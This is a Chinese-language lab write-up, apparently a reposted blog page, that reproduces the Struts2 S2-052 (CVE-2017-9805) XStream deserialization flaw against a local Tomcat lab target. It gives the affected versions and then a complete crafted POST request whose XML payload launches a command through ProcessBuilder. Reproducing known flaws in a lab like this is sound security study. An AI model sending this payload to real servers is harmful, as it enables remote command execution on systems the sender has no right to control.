【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
来源:互联网 发布:php 数组变字符串 编辑:程序博客网 时间:2024/05/20 03:40
**操作机:**Windows 7
**目标IP:**172.16.11.2:8080
实验工具:
Burp Suite:是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能。
Metasploit:一款开源的安全漏洞检测利用工具
实验内容:
Struts
Struts是Apache基金会的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。
漏洞介绍:
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-052,CVE编号CVE-2017-9805。
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
影响范围
Struts 2.5 - Struts 2.5.12
不受影响的版本
Struts 2.5.13
快速检测方式
使用知道创宇SeeBug可以直接检测站点是否存在本漏洞
漏洞危害
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
实验步骤
步骤1:开启代理,访问目标网站
启动tomcat服务器,进行操作
打开页面:
编辑页面,打开抓包工具在提交信息前设置代理,抓包–>然后改包
将抓取的包改为如下:
修改POST数据包如下:
POST /struts2-rest-showcase/orders/3/edit;jsessionid=F455F4577F3AC37C743B888B17C7A05E HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/xmlContent-Length: 1659Referer: http://127.0.0.1:8080/orders/3/editCookie: JSESSIONID=F455F4577F3AC37C743B888B17C7A05EConnection: closeUpgrade-Insecure-Requests: 1<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>C:\Windows\System32\calc.exe </string></command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
如图:
点击forward传到tomcat服务器,可以检测出存在漏洞。
500代表服务器存在问题:
- 【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
- 漏洞--Struts2远程命令执行S2-016
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- Struts2远程命令执行漏洞 S2-045 源码分析
- 【漏洞公告】CVE-2017-11610:Supervisord 远程命令执行漏洞
- PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037)
- Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- S2-052(CVE-2017-9805)
- Tomcat远程代码执行漏洞(CVE-2017-12615)
- Tomcat 远程代码执行漏洞分析(CVE-2017-12615)
- Struts2远程命令执行漏洞
- 关于重新安装Tomcat的问题
- 同余定理
- python下如何在目录下让Python文件去调用另一个Python文件内的函数或类
- Linux‘\’的使用问题
- Learning Python Part II 之 nonlocal语句
- 【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
- 20171013学习笔记Selenium 2 第四章WebDriver API 4.6获得验证消息 4.7设置元素等待
- 在win7下用navicat远程连接虚拟机ubuntu上的MySql数据库
- [BZOJ2427]软件安装-tarjan强连通+树形背包
- 快速操纵linux shell命令行
- 深度学习--手写数字识别<二>--交叉熵损失函数(cross entropy cost function)
- 动态内存分配小结
- c语言操作符
- bn层